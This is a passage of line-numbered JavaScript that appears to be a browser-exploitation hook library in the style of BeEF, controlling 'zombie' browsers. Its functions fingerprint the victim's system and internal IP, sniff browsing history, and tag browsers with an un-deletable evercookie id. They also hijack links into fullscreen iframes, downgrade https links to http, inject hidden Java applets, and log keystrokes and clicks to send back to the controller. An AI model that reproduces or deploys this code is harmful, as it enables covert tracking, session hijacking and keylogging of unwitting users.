  3101. if (os_name)
  3102. details['OsName'] = os_name;
  3103. if (system_platform)
  3104. details['SystemPlatform'] = system_platform;
  3105. if (internal_ip)
  3106. details['InternalIP'] = internal_ip;
  3107. if (internal_hostname)
  3108. details['InternalHostname'] = internal_hostname;
  3109. if (browser_type)
  3110. details['BrowserType'] = browser_type;
  3111. if (screen_params)
  3112. details['ScreenParams'] = screen_params;
  3113. if (window_size)
  3114. details['WindowSize'] = window_size;
  3115. if (java_enabled)
  3116. details['JavaEnabled'] = java_enabled
  3117. if (vbscript_enabled)
  3118. details['VBScriptEnabled'] = vbscript_enabled
  3119. if (has_flash)
  3120. details['HasFlash'] = has_flash
  3121. if (has_web_socket)
  3122. details['HasWebSocket'] = has_web_socket
  3123. if (has_googlegears)
  3124. details['HasGoogleGears'] = has_googlegears
  3125. if (has_activex)
  3126. details['HasActiveX'] = has_activex;
  3127. if (has_session_cookies)
  3128. details["hasSessionCookies"] = has_session_cookies;
  3129. if (has_persistent_cookies)
  3130. details["hasPersistentCookies"] = has_persistent_cookies;
  3131.  
  3132. return details;
  3133. },
  3134.  
  3135. /**
  3136. * Returns array of results, whether or not the target zombie has visited
  3137. * the specified URL
  3138. */
  3139. hasVisited: function (urls) {
  3140. var results = new Array();
  3141. var iframe = bot.dom.createInvisibleIframe();
  3142. var ifdoc = (iframe.contentDocument) ? iframe.contentDocument
  3143. : iframe.contentWindow.document;
  3144. ifdoc.open();
  3145. ifdoc.write('<style>a:visited{width:0px !important;}</style>');
  3146. ifdoc.close();
  3147. urls = urls.split("\n");
  3148. var count = 0;
  3149. for (var i in urls) {
  3150. var u = urls[i];
  3151. if (u != "" || u != null) {
  3152. var success = false;
  3153. var a = ifdoc.createElement('a');
  3154. a.href = u;
  3155. ifdoc.body.appendChild(a);
  3156. var width = null;
  3157. (a.currentStyle) ? width = a.currentStyle['width']
  3158. : width = ifdoc.defaultView.getComputedStyle(a, null)
  3159. .getPropertyValue("width");
  3160. if (width == '0px') {
  3161. success = true;
  3162. }
  3163. results.push({
  3164. 'url': u,
  3165. 'visited': success
  3166. });
  3167. count++;
  3168. }
  3169. }
  3170. bot.dom.removeElement(iframe);
  3171. if (results.length == 0) {
  3172. return false;
  3173. }
  3174. return results;
  3175. },
  3176.  
  3177. /**
  3178. * Checks if the zombie has Web Sockets enabled.
  3179. *
  3180. * @return: {Boolean} true or false. In FF6+ the websocket object has been
  3181. * prefixed with Moz, so now it's called MozWebSocket
  3182. */
  3183. hasWebSocket: function () {
  3184. if (!!window.WebSocket || !!window.MozWebSocket)
  3185. return true;
  3186. else
  3187. return false;
  3188. },
  3189.  
  3190. /**
  3191. * Checks if the zombie has Google Gears installed.
  3192. *
  3193. * @return: {Boolean} true or false.
  3194. *
  3195. * @from: https://code.google.com/apis/gears/gears_init.js
  3196. */
  3197. hasGoogleGears: function () {
  3198.  
  3199. var ggfactory = null;
  3200.  
  3201. // Chrome
  3202. if (window.google && google.gears)
  3203. return true;
  3204.  
  3205. // Firefox
  3206. if (typeof GearsFactory != 'undefined') {
  3207. ggfactory = new GearsFactory();
  3208. } else {
  3209. // IE
  3210. try {
  3211. ggfactory = new ActiveXObject('Gears.Factory');
  3212. // IE Mobile on WinCE.
  3213. if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
  3214. ggfactory.privateSetGlobalObject(this);
  3215. }
  3216. } catch (e) {
  3217. // Safari
  3218. if ((typeof navigator.mimeTypes != 'undefined')
  3219. && navigator.mimeTypes["application/x-googlegears"]) {
  3220. ggfactory = document.createElement("object");
  3221. ggfactory.style.display = "none";
  3222. ggfactory.width = 0;
  3223. ggfactory.height = 0;
  3224. ggfactory.type = "application/x-googlegears";
  3225. document.documentElement.appendChild(ggfactory);
  3226. if (ggfactory && (typeof ggfactory.create == 'undefined'))
  3227. ggfactory = null;
  3228. }
  3229. }
  3230. }
  3231. if (!ggfactory)
  3232. return false;
  3233. else
  3234. return true;
  3235. },
  3236.  
  3237. /**
  3238. * Dynamically changes the favicon: works in Firefox, Chrome and Opera
  3239. */
  3240. changeFavicon: function (favicon_url) {
  3241. var iframe = null;
  3242. if (this.isC()) {
  3243. iframe = document.createElement('iframe');
  3244. iframe.src = 'about:blank';
  3245. iframe.style.display = 'none';
  3246. document.body.appendChild(iframe);
  3247. }
  3248. var link = document.createElement('link'), oldLink = document
  3249. .getElementById('dynamic-favicon');
  3250. link.id = 'dynamic-favicon';
  3251. link.rel = 'shortcut icon';
  3252. link.href = favicon_url;
  3253. if (oldLink)
  3254. document.head.removeChild(oldLink);
  3255. document.head.appendChild(link);
  3256. if (this.isC())
  3257. iframe.src += '';
  3258. },
  3259.  
  3260. /**
  3261. * Changes page title
  3262. */
  3263. changePageTitle: function (title) {
  3264. document.title = title;
  3265. },
  3266.  
  3267. /**
  3268. * A function that gets the max number of simultaneous connections the
  3269. * browser can make per domain, or globally on all domains.
  3270. *
  3271. * This code is based on research from browserspy.dk
  3272. *
  3273. * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
  3274. * @return {Deferred promise} A jQuery deferred object promise, which when
  3275. * resolved passes the number of connections to the callback
  3276. * function as "this"
  3277. *
  3278. * example usage: $j.when(getMaxConnections()).done(function(){
  3279. * console.debug("Max Connections: " + this); });
  3280. *
  3281. */
  3282. getMaxConnections: function (scope) {
  3283.  
  3284. var imagesCount = 30; // Max number of images to test
  3285. var secondsTimeout = 5; // Image load timeout threashold
  3286. var testUrl = ""; // The image testing service URL
  3287.  
  3288. // User broserspy.dk max connections service URL.
  3289. if (scope == 'PER_DOMAIN')
  3290. testUrl = "
  3291. http://browserspy.dk/connections.php?img=1&random=";
  3292. else
  3293. // The token will be replaced by a different number with each
  3294. // request(different domain).
  3295. testUrl = "http://<token>.
  3296. browserspy.dk/connections.php?img=1&amp;random=";
  3297.  
  3298. var imagesLoaded = 0; // Number of responding images before timeout.
  3299. var imagesRequested = 0; // Number of requested images.
  3300. var testImages = new Array(); // Array of all images.
  3301. var deferredObject = $j.Deferred(); // A jquery Deferred object.
  3302.  
  3303. for (var i = 1; i <= imagesCount; i++) {
  3304. // Asynchronously request image.
  3305. testImages[i] = $j.ajax({
  3306. type: "get",
  3307. dataType: true,
  3308. url: (testUrl.replace("<token>", i)) + Math.random(),
  3309. data: "",
  3310. timeout: (secondsTimeout * 1000),
  3311.  
  3312. // Function on completion of request.
  3313. complete: function (jqXHR, textStatus) {
  3314.  
  3315. imagesRequested++;
  3316.  
  3317. // If the image returns a 200 or a 302, the text Status
  3318. is
  3319. // "error", else null
  3320. if (textStatus == "error") {
  3321. imagesLoaded++;
  3322. }
  3323.  
  3324. // If all images requested
  3325. if (imagesRequested >= imagesCount) {
  3326. // resolve the deferred object passing the number of
  3327. // loaded images.
  3328. deferredObject.resolveWith(imagesLoaded);
  3329. }
  3330. }
  3331. });
  3332.  
  3333. }
  3334.  
  3335. // Return a promise to resolve the deffered object when the images
  3336. are
  3337. // loaded.
  3338. return deferredObject.promise();
  3339.  
  3340. }
  3341.  
  3342. };
  3343.  
  3344. bot.regCmp('bot.browser');
  3345.  
  3346. bot.browser.cookie = {
  3347.  
  3348. setCookie: function (name, value, expires, path, domain, secure) {
  3349.  
  3350. var today = new Date();
  3351. today.setTime(today.getTime());
  3352.  
  3353. if (expires) {
  3354. expires = expires * 1000 * 60 * 60 * 24;
  3355. }
  3356. var expires_date = new Date(today.getTime() + (expires));
  3357.  
  3358. document.cookie = name + "=" + escape(value)
  3359. + ((expires) ? ";expires=" + expires_date.toGMTString() : "")
  3360. + ((path) ? ";path=" + path : "")
  3361. + ((domain) ? ";domain=" + domain : "")
  3362. + ((secure) ? ";secure" : "");
  3363. },
  3364.  
  3365. getCookie: function (name) {
  3366. var a_all_cookies = document.cookie.split(';');
  3367. var a_temp_cookie = '';
  3368. var cookie_name = '';
  3369. var cookie_value = '';
  3370. var b_cookie_found = false;
  3371.  
  3372. for (i = 0; i < a_all_cookies.length; i++) {
  3373. a_temp_cookie = a_all_cookies[i].split('=');
  3374. cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
  3375. if (cookie_name == name) {
  3376. b_cookie_found = true;
  3377. if (a_temp_cookie.length > 1) {
  3378. cookie_value = unescape(a_temp_cookie[1].replace(
  3379. /^\s+|\s+$/g, ''));
  3380. }
  3381. return cookie_value;
  3382. break;
  3383. }
  3384. a_temp_cookie = null;
  3385. cookie_name = '';
  3386. }
  3387. if (!b_cookie_found) {
  3388. return null;
  3389. }
  3390. },
  3391.  
  3392. deleteCookie: function (name, path, domain) {
  3393. if (this.getCookie(name))
  3394. document.cookie = name + "=" + ((path) ? ";path=" + path : "")
  3395. + ((domain) ? ";domain=" + domain : "")
  3396. + ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
  3397. },
  3398.  
  3399. hasSessionCookies: function (name) {
  3400. var name = name || "cookie";
  3401. if (name == "")
  3402. name = "cookie";
  3403. this.setCookie(name, 'none', '', '/', '', '');
  3404.  
  3405. cookiesEnabled = (this.getCookie(name) == null) ? false : true;
  3406. this.deleteCookie(name, '/', '');
  3407. return cookiesEnabled;
  3408.  
  3409. },
  3410.  
  3411. hasPersistentCookies: function (name) {
  3412. var name = name || "cookie";
  3413. if (name == "")
  3414. name = "cookie";
  3415. this.setCookie(name, 'none', 1, '/', '', '');
  3416.  
  3417. cookiesEnabled = (this.getCookie(name) == null) ? false : true;
  3418. this.deleteCookie(name, '/', '');
  3419. return cookiesEnabled;
  3420.  
  3421. }
  3422.  
  3423. };
  3424.  
  3425. bot.regCmp('bot.browser.cookie');
  3426.  
  3427.  
  3428. bot.browser.popup = {
  3429.  
  3430. blocker_enbabled: function () {
  3431. screenParams = bot.browser.getScreenParams();
  3432. var popUp = window.open('/', 'windowName0', 'width=1, height=1,
  3433. left='
  3434. + screenParams.width + ', top=' + screenParams.height
  3435. + ', scrollbars, resizable');
  3436. if (popUp == null || typeof (popUp) == 'undefined') {
  3437. return true;
  3438. } else {
  3439. popUp.close();
  3440. return false;
  3441. }
  3442. }
  3443. };
  3444.  
  3445. bot.regCmp('bot.browser.popup');
  3446.  
  3447.  
  3448. bot.session = {
  3449.  
  3450. hook_session_id_length: 80,
  3451. hook_session_id_chars:
  3452. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
  3453. ec: new evercookie(),
  3454.  
  3455. /**
  3456. * Gets a string which will be used to identify the hooked browser session
  3457. *
  3458. * @example: var hook_session_id = bot.session.get_hook_session_id();
  3459. */
  3460. get_hook_session_id: function () {
  3461. // check if the browser is already known to the framework
  3462. var id = this.ec.evercookie_cookie("ZOMBIE");
  3463. if (typeof id == 'undefined') {
  3464. var id = this.ec.evercookie_userdata("ZOMBIE");
  3465. }
  3466. if (typeof id == 'undefined') {
  3467. var id = this.ec.evercookie_window("ZOMBIE");
  3468. }
  3469.  
  3470. // if the browser is not known create a hook session id and set it
  3471. if ((typeof id == 'undefined') || (id == null)) {
  3472. id = this.gen_hook_session_id();
  3473. this.set_hook_session_id(id);
  3474. }
  3475.  
  3476. // return the hooked browser session identifier
  3477. return id;
  3478. },
  3479.  
  3480. /**
  3481. * Sets a string which will be used to identify the hooked browser session
  3482. *
  3483. * @example: bot.session.set_hook_session_id('RANDOMSTRING');
  3484. */
  3485. set_hook_session_id: function (id) {
  3486. // persist the hook session id
  3487. this.ec.evercookie_cookie("ZOMBIE", id);
  3488. this.ec.evercookie_userdata("ZOMBIE", id);
  3489. this.ec.evercookie_window("ZOMBIE", id);
  3490. },
  3491.  
  3492. /**
  3493. * Generates a random string using the chars in hook_session_id_chars.
  3494. *
  3495. * @example: bot.session.gen_hook_session_id();
  3496. */
  3497. gen_hook_session_id: function () {
  3498. // init the return value
  3499. var hook_session_id = "";
  3500.  
  3501. // construct the random string
  3502. for (var i = 0; i < this.hook_session_id_length; i++) {
  3503. var rand_num = Math.floor(Math.random()
  3504. * this.hook_session_id_chars.length);
  3505. hook_session_id += this.hook_session_id_chars.charAt(rand_num);
  3506. }
  3507.  
  3508. return hook_session_id;
  3509. },
  3510.  
  3511. /**
  3512. * Overrides each link, and creates an iframe (loading the href) instead of
  3513. * following the link
  3514. */
  3515. persistant: function () {
  3516. $j('a').click(function (e) {
  3517. if ($j(this).attr('href') != '') {
  3518. e.preventDefault();
  3519. bot.dom.createIframe('fullscreen', 'get', {
  3520. 'src': $j(this).attr('href')
  3521. }, {}, null);
  3522. $j(document).attr('title', $j(this).html());
  3523. document.body.scroll = "no";
  3524. document.documentElement.style.overflow = 'hidden';
  3525. }
  3526. });
  3527. }
  3528.  
  3529. };
  3530.  
  3531. bot.regCmp('bot.session');
  3532.  
  3533.  
  3534. bot.os = {
  3535.  
  3536. ua: navigator.userAgent,
  3537.  
  3538. isWin311: function () {
  3539. return (this.ua.indexOf("Win16") != -1) ? true : false;
  3540. },
  3541.  
  3542. isWinNT4: function () {
  3543. return (this.ua.match('(Windows NT 4.0)')) ? true : false;
  3544. },
  3545.  
  3546. isWin95: function () {
  3547. return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true
  3548. : false;
  3549. },
  3550.  
  3551. isWin98: function () {
  3552. return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
  3553. },
  3554.  
  3555. isWinME: function () {
  3556. return (this.ua.indexOf('Windows ME') != -1) ? true : false;
  3557. },
  3558.  
  3559. isWin2000: function () {
  3560. return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true
  3561. : false;
  3562. },
  3563.  
  3564. isWinXP: function () {
  3565. return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true :
  3566. false;
  3567. },
  3568.  
  3569. isWinServer2003: function () {
  3570. return (this.ua.match('(Windows NT 5.2)')) ? true : false;
  3571. },
  3572.  
  3573. isWinVista: function () {
  3574. return (this.ua.match('(Windows NT 6.0)')) ? true : false;
  3575. },
  3576.  
  3577. isWin7: function () {
  3578. return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true
  3579. : false;
  3580. },
  3581.  
  3582. isOpenBSD: function () {
  3583. return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
  3584. },
  3585.  
  3586. isSunOS: function () {
  3587. return (this.ua.indexOf('SunOS') != -1) ? true : false;
  3588. },
  3589.  
  3590. isLinux: function () {
  3591. return (this.ua.match('(Linux)|(X11)')) ? true : false;
  3592. },
  3593.  
  3594. isMacintosh: function () {
  3595. return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ?
  3596. true
  3597. : false;
  3598. },
  3599.  
  3600. isIphone: function () {
  3601. return (this.ua.indexOf('iPhone') != -1) ? true : false;
  3602. },
  3603.  
  3604. isIpad: function () {
  3605. return (this.ua.indexOf('iPad') != -1) ? true : false;
  3606. },
  3607.  
  3608. isIpod: function () {
  3609. return (this.ua.indexOf('iPod') != -1) ? true : false;
  3610. },
  3611.  
  3612. isNokia: function () {
  3613. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true
  3614. : false;
  3615. },
  3616.  
  3617. isAndroid: function () {
  3618. return (this.ua.match('Android')) ? true : false;
  3619. },
  3620.  
  3621. isBlackBerry: function () {
  3622. return (this.ua.match('BlackBerry')) ? true : false;
  3623. },
  3624.  
  3625. isQNX: function () {
  3626. return (this.ua.match('QNX')) ? true : false;
  3627. },
  3628.  
  3629. isBeOS: function () {
  3630. return (this.ua.match('BeOS')) ? true : false;
  3631. },
  3632.  
  3633. getName: function () {
  3634. // windows
  3635. if (this.isWin311())
  3636. return 'Windows 3.11';
  3637. if (this.isWinNT4())
  3638. return 'Windows NT 4';
  3639. if (this.isWin95())
  3640. return 'Windows 95';
  3641. if (this.isWin98())
  3642. return 'Windows 98';
  3643. if (this.isWinME())
  3644. return 'Windows Millenium';
  3645. if (this.isWin2000())
  3646. return 'Windows 2000';
  3647. if (this.isWinXP())
  3648. return 'Windows XP';
  3649. if (this.isWinServer2003())
  3650. return 'Windows Server 2003';
  3651. if (this.isWinVista())
  3652. return 'Windows Vista';
  3653. if (this.isWin7())
  3654. return 'Windows 7';
  3655.  
  3656. // Nokia
  3657. if (this.isNokia()) {
  3658.  
  3659. if (this.ua.indexOf('Maemo Browser') != -1)
  3660. return 'Maemo';
  3661. if (this.ua.match('(SymbianOS)|(Symbian OS)'))
  3662. return 'SymbianOS';
  3663. if (this.ua.indexOf('Symbian') != -1)
  3664. return 'Symbian';
  3665.  
  3666. // return 'Nokia';
  3667. }
  3668.  
  3669. // BlackBerry
  3670. if (this.isBlackBerry())
  3671. return 'BlackBerry OS';
  3672.  
  3673. // Android
  3674. if (this.isAndroid())
  3675. return 'Android';
  3676.  
  3677. // linux
  3678. if (this.isLinux())
  3679. return 'Linux';
  3680. if (this.isSunOS())
  3681. return 'Sun OS';
  3682.  
  3683. // iPhone
  3684. if (this.isIphone())
  3685. return 'iPhone';
  3686. // iPad
  3687. if (this.isIpad())
  3688. return 'iPad';
  3689. // iPod
  3690. if (this.isIpod())
  3691. return 'iPod';
  3692.  
  3693. // macintosh
  3694. if (this.isMacintosh()) {
  3695. if ((typeof navigator.oscpu != 'undefined')
  3696. && (navigator.oscpu.indexOf('Mac OS') != -1))
  3697. return navigator.oscpu;
  3698.  
  3699. return 'Macintosh';
  3700. }
  3701.  
  3702. // others
  3703. if (this.isQNX())
  3704. return 'QNX';
  3705. if (this.isBeOS())
  3706. return 'BeOS';
  3707.  
  3708. return 'unknown';
  3709. }
  3710. };
  3711.  
  3712. bot.regCmp('bot.net.os');
  3713.  
  3714. bot.dom = {
  3715.  
  3716. /**
  3717. * Generates a random ID for HTML elements
  3718. *
  3719. * @param: {String} prefix: a custom prefix before the random id. defaults
  3720. * to "bot-"
  3721. * @return: generated id
  3722. */
  3723. generateID: function (prefix) {
  3724. return ((prefix == null) ? 'bot-' : prefix)
  3725. + Math.floor(Math.random() * 99999);
  3726. },
  3727.  
  3728. /**
  3729. * Creates a new element but does not append it to the DOM.
  3730. *
  3731. * @param: {String} the name of the element.
  3732. * @param: {Literal Object} the attributes of that element.
  3733. * @return: the created element.
  3734. */
  3735. createElement: function (type, attributes) {
  3736. var el = document.createElement(type);
  3737.  
  3738. for (index in attributes) {
  3739. if (typeof attributes[index] == 'string') {
  3740. el.setAttribute(index, attributes[index]);
  3741. }
  3742. }
  3743.  
  3744. return el;
  3745. },
  3746.  
  3747. /**
  3748. * Removes element from the DOM.
  3749. *
  3750. * @param: {String or DOM Object} the target element to be removed.
  3751. */
  3752. removeElement: function (el) {
  3753. if (!bot.dom.isDOMElement(el)) {
  3754. el = document.getElementById(el);
  3755. }
  3756. try {
  3757. el.parentNode.removeChild(el);
  3758. } catch (e) {
  3759. }
  3760. },
  3761.  
  3762. /**
  3763. * Tests if the object is a DOM element.
  3764. *
  3765. * @param: {Object} the DOM element.
  3766. * @return: true if the object is a DOM element.
  3767. */
  3768. isDOMElement: function (obj) {
  3769. return (obj.nodeType) ? true : false;
  3770. },
  3771.  
  3772. /**
  3773. * Creates an invisible iframe on the hook browser's page.
  3774. *
  3775. * @return: the iframe.
  3776. */
  3777. createInvisibleIframe: function () {
  3778. var iframe = this.createElement('iframe', {
  3779. width: '1px',
  3780. height: '1px',
  3781. style: 'visibility:hidden;'
  3782. });
  3783.  
  3784. document.body.appendChild(iframe);
  3785.  
  3786. return iframe;
  3787. },
  3788.  
  3789. /**
  3790. * Create and iFrame element. In case it's create with POST method, the
  3791. * iFrame is automatically added to the DOM and submitted. example usage in
  3792. * the code: bot.dom.createIframe('fullscreen', 'get',
  3793. * {'src':$j(this).attr('href')}, {}, null);
  3794. *
  3795. * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to
  3796. * normal
  3797. * @param: {String} method: can be 'GET' or 'POST'. defaults to GET
  3798. * @param: {Hash} params: list of params that will be sent in request.
  3799. * @param: {Hash} styles: css styling attributes, these are merged with the
  3800. * defaults specified in the type parameter
  3801. * @param: {Function} a callback function to fire once the iFrame has loaded
  3802. * @return: {Object} the inserted iFrame
  3803. */
  3804. createIframe: function (type, method, params, styles, onload) {
  3805. var css = {};
  3806. var form_submit = (method.toLowerCase() == 'post') ? true : false;
  3807. if (form_submit && params['src']) {
  3808. var form_action = params['src'];
  3809. params['src'] = '';
  3810. }
  3811. if (type == 'hidden') {
  3812. css = $j.extend(true, {
  3813. 'border': 'none',
  3814. 'width': '1px',
  3815. 'height': '1px',
  3816. 'display': 'none',
  3817. 'visibility': 'hidden'
  3818. }, styles);
  3819. }
  3820. if (type == 'fullscreen') {
  3821. css = $j.extend(true, {
  3822. 'border': 'none',
  3823. 'background-color': 'white',
  3824. 'width': '100%',
  3825. 'height': '100%',
  3826. 'position': 'absolute',
  3827. 'top': '0px',
  3828. 'left': '0px'
  3829. }, styles);
  3830. $j('body').css({
  3831. 'padding': '0px',
  3832. 'margin': '0px'
  3833. });
  3834. }
  3835. var iframe = $j('<iframe />').attr(params).css(css).load(onload)
  3836. .prependTo('body');
  3837.  
  3838. if (form_submit && form_action) {
  3839. var id = bot.dom.generateID();
  3840. $j(iframe).attr({
  3841. 'id': id,
  3842. 'name': id
  3843. });
  3844. var form = bot.dom.createForm({
  3845. 'action': form_action,
  3846. 'method': 'get',
  3847. 'target': id
  3848. }, false);
  3849. $j(form).prependTo('body').submit();
  3850. }
  3851. return iframe;
  3852. },
  3853.  
  3854. /**
  3855. * Create a form element with the specified parameters, appending it to the
  3856. * DOM if append == true
  3857. *
  3858. * @param: {Hash} params: params to be applied to the form element
  3859. * @param: {Boolean} append: automatically append the form to the body
  3860. * @return: {Object} a form object
  3861. */
  3862. createForm: function (params, append) {
  3863. var form = $j('<form></form>').attr(params);
  3864. if (append)
  3865. $j('body').append(form);
  3866. return form;
  3867. },
  3868.  
  3869. /**
  3870. * Get the location of the current page.
  3871. *
  3872. * @return: the location.
  3873. */
  3874. getLocation: function () {
  3875. return document.location.href;
  3876. },
  3877.  
  3878. /**
  3879. * Get links of the current page.
  3880. *
  3881. * @return: array of URLs.
  3882. */
  3883. getLinks: function () {
  3884. var linksarray = [];
  3885. var links = document.links;
  3886. for (var i = 0; i < links.length; i++) {
  3887. linksarray = linksarray.concat(links[i].href)
  3888. }
  3889. ;
  3890. return linksarray
  3891. },
  3892.  
  3893. /**
  3894. * Rewrites all links matched by selector to url, also rebinds the click
  3895. * method to simply return true
  3896. *
  3897. * @param: {String} url: the url to be rewritten
  3898. * @param: {String} selector: the jquery selector statement to use, defaults
  3899. * to all a tags.
  3900. * @return: {Number} the amount of links found in the DOM and rewritten.
  3901. */
  3902. rewriteLinks: function (url, selector) {
  3903. var sel = (selector == null) ? 'a' : selector;
  3904. return $j(sel).each(function () {
  3905. if ($j(this).attr('href') != null) {
  3906. $j(this).attr('href', url).click(function () {
  3907. return true;
  3908. });
  3909. }
  3910. }).length;
  3911. },
  3912.  
  3913. /**
  3914. * Parse all links in the page matched by the selector, replacing
  3915. * old_protocol with new_protocol (ex.:https with http)
  3916. *
  3917. * @param: {String} old_protocol: the old link protocol to be rewritten
  3918. * @param: {String} new_protocol: the new link protocol to be written
  3919. * @param: {String} selector: the jquery selector statement to use, defaults
  3920. * to all a tags.
  3921. * @return: {Number} the amount of links found in the DOM and rewritten.
  3922. */
  3923. rewriteLinksProtocol: function (old_protocol, new_protocol, selector) {
  3924.  
  3925. var count = 0;
  3926. var re = new RegExp(old_protocol + "://", "gi");
  3927. var sel = (selector == null) ? 'a' : selector;
  3928.  
  3929. $j(sel).each(
  3930. function () {
  3931. if ($j(this).attr('href') != null) {
  3932. var url = $j(this).attr('href');
  3933. if (url.match(re)) {
  3934. $j(this).attr('href',
  3935. url.replace(re, new_protocol + "://"))
  3936. .click(function () {
  3937. return true;
  3938. });
  3939. count++;
  3940. }
  3941. }
  3942. });
  3943.  
  3944. return count;
  3945. },
  3946.  
  3947. /**
  3948. * Given an array of objects (key/value), return a string of param tags
  3949. * ready to append in applet/object/embed
  3950. *
  3951. * @params: {Array} an array of params for the applet, ex.: [{'argc':'5',
  3952. * 'arg0':'ReverseTCP'}]
  3953. * @return: {String} the parameters as a string ready to append to
  3954. * applet/embed/object tags (ex.: <param name='abc' value='test'
  3955. * />).
  3956. */
  3957. parseAppletParams: function (params) {
  3958. var result = '';
  3959. for (i in params) {
  3960. var param = params[i];
  3961. for (key in param) {
  3962. result += "<param name='" + key + "' value='" + param[key]
  3963. + "' />";
  3964. }
  3965. }
  3966. return result;
  3967. },
  3968.  
  3969. /**
  3970. * Attach an applet to the DOM, using the best approach for differet
  3971. * browsers (object/applet/embed). example usage in the code, using a JAR
  3972. * archive (recommended and faster): bot.dom.attachApplet('appletId',
  3973. * 'appletName', 'SuperMario3D.class', null,
  3974. * 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1',
  3975. * 'param2':'2'}]); example usage in the code, using codebase:
  3976. * bot.dom.attachApplet('appletId', 'appletName', 'SuperMario3D',
  3977. * 'http://127.0.0.1:3000/', null, null);
  3978. *
  3979. * @params: {String} id: reference identifier to the applet.
  3980. * @params: {String} code: name of the class to be loaded. For example,
  3981. * bot.class.
  3982. * @params: {String} codebase: the URL of the codebase (usually used when
  3983. * loading a single class for an unsigned applet).
  3984. * @params: {String} archive: the jar that contains the code.
  3985. * @params: {String} params: an array of additional params that the applet
  3986. * except.
  3987. */
  3988. attachApplet: function (id, name, code, codebase, archive, params) {
  3989. var content = null;
  3990. if (bot.browser.isIE()) {
  3991. content = "" + // the classid means 'use the latest JRE
  3992. available
  3993. // to launch the applet'
  3994. "<object id='" + id
  3995. + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' "
  3996. + "height='0' width='0' name='" + name + "'> "
  3997. + "<param name='code' value='" + code + "' />";
  3998.  
  3999. if (codebase != null) {
  4000. content += "<param name='codebase' value='" + codebase + "'
  4001. />"
  4002. } else {
  4003. content += "<param name='archive' value='" + archive + "'
  4004. />";
  4005. }
  4006. if (params != null) {
  4007. content += bot.dom.parseAppletParams(params);
  4008. }
  4009. content += "</object>";
  4010. }
  4011. if (bot.browser.isC() || bot.browser.isS() || bot.browser.isO()) {
  4012.  
  4013. if (codebase != null) {
  4014. content = "" + "<applet id='" + id + "' code='" + code + "'
  4015. "
  4016. + "codebase='" + codebase + "' "
  4017. + "height='0' width='0' name='" + name + "'>";
  4018. } else {
  4019. content = "" + "<applet id='" + id + "' code='" + code + "'
  4020. "
  4021. + "archive='" + archive + "' "
  4022. + "height='0' width='0' name='" + name + "'>";
  4023. }
  4024.  
  4025. if (params != null) {
  4026. content += bot.dom.parseAppletParams(params);
  4027. }
  4028. content += "</applet>";
  4029. }
  4030. if (bot.browser.isFF()) {
  4031. if (codebase != null) {
  4032. content = "" + "<embed id='" + id + "' code='" + code + "' "
  4033. + "type='application/x-java-applet' codebase='"
  4034. + codebase + "' " + "height='0' width='0' name='"
  4035. + name + "'>";
  4036. } else {
  4037. content = "" + "<embed id='" + id + "' code='" + code + "' "
  4038. + "type='application/x-java-applet' archive='"
  4039. + archive + "' " + "height='0' width='0' name='" + name
  4040. + "'>";
  4041. }
  4042.  
  4043. if (params != null) {
  4044. content += bot.dom.parseAppletParams(params);
  4045. }
  4046. content += "</embed>";
  4047. }
  4048. $j('body').append(content);
  4049. },
  4050.  
  4051. /**
  4052. * Given an id, remove the applet from the DOM.
  4053. *
  4054. * @params: {String} id: reference identifier to the applet.
  4055. */
  4056. detachApplet: function (id) {
  4057. $j('#' + id + '').detach();
  4058. }
  4059.  
  4060. };
  4061.  
  4062. bot.regCmp('bot.dom');
  4063.  
  4064. bot.logger = {
  4065.  
  4066. running: false,
  4067. /**
  4068. * Internal logger id
  4069. */
  4070. id: 0,
  4071. /**
  4072. * Holds events created by user, to be sent back to BeEF
  4073. */
  4074. events: [],
  4075. /**
  4076. * Holds current stream of key presses
  4077. */
  4078. stream: [],
  4079. /**
  4080. * Contains current target of key presses
  4081. */
  4082. target: null,
  4083. /**
  4084. * Holds the time the logger was started
  4085. */
  4086. time: null,
  4087. /**
  4088. * Holds the event details to be sent to BeEF
  4089. */
  4090. e: function () {
  4091. this.id = bot.logger.get_id();
  4092. this.time = bot.logger.get_timestamp();
  4093. this.type = null;
  4094. this.x = 0;
  4095. this.y = 0;
  4096. this.target = null;
  4097. this.data = null;
  4098. },
  4099.  
  4100. /**
  4101. * Starts the logger
  4102. */
  4103. start: function () {
  4104. this.running = true;
  4105. var d = new Date();
  4106. this.time = d.getTime();
  4107. $j(document).keypress(function (e) {
  4108. bot.logger.keypress(e);
  4109. }).click(function (e) {
  4110. bot.logger.click(e);
  4111. });
  4112. $j(window).focus(function (e) {
  4113. bot.logger.win_focus(e);
  4114. }).blur(function (e) {
  4115. bot.logger.win_blur(e);
  4116. });
  4117. /*
  4118. * $j('form').submit( function(e) { bot.logger.submit(e); } );
  4119. */
  4120. },
  4121.  
  4122. /**
  4123. * Stops the logger
  4124. */
  4125. stop: function () {
  4126. this.running = false;
  4127. clearInterval(this.timer);
  4128. $j(document).keypress(null);
  4129. },
  4130.  
  4131. /**
  4132. * Get id
  4133. */
  4134. get_id: function () {
  4135. this.id++;
  4136. return this.id;
  4137. },
  4138.  
  4139. /**
  4140. * Click function fires when the user clicks the mouse.
  4141. */
  4142. click: function (e) {
  4143. var c = new bot.logger.e();
  4144. c.type = 'click';
  4145. c.x = e.pageX;
  4146. c.y = e.pageY;
  4147. c.target = bot.logger.get_dom_identifier(e.target);
  4148. this.events.push(c);
  4149. },
  4150.  
  4151. /**
  4152. * Fires when the window element has regained focus
  4153. */
  4154. win_focus: function (e) {
  4155. var f = new bot.logger.e();
  4156. f.type = 'focus';
  4157. this.events.push(f);
  4158. },
  4159.  
  4160. /**
  4161. * Fires when the window element has lost focus
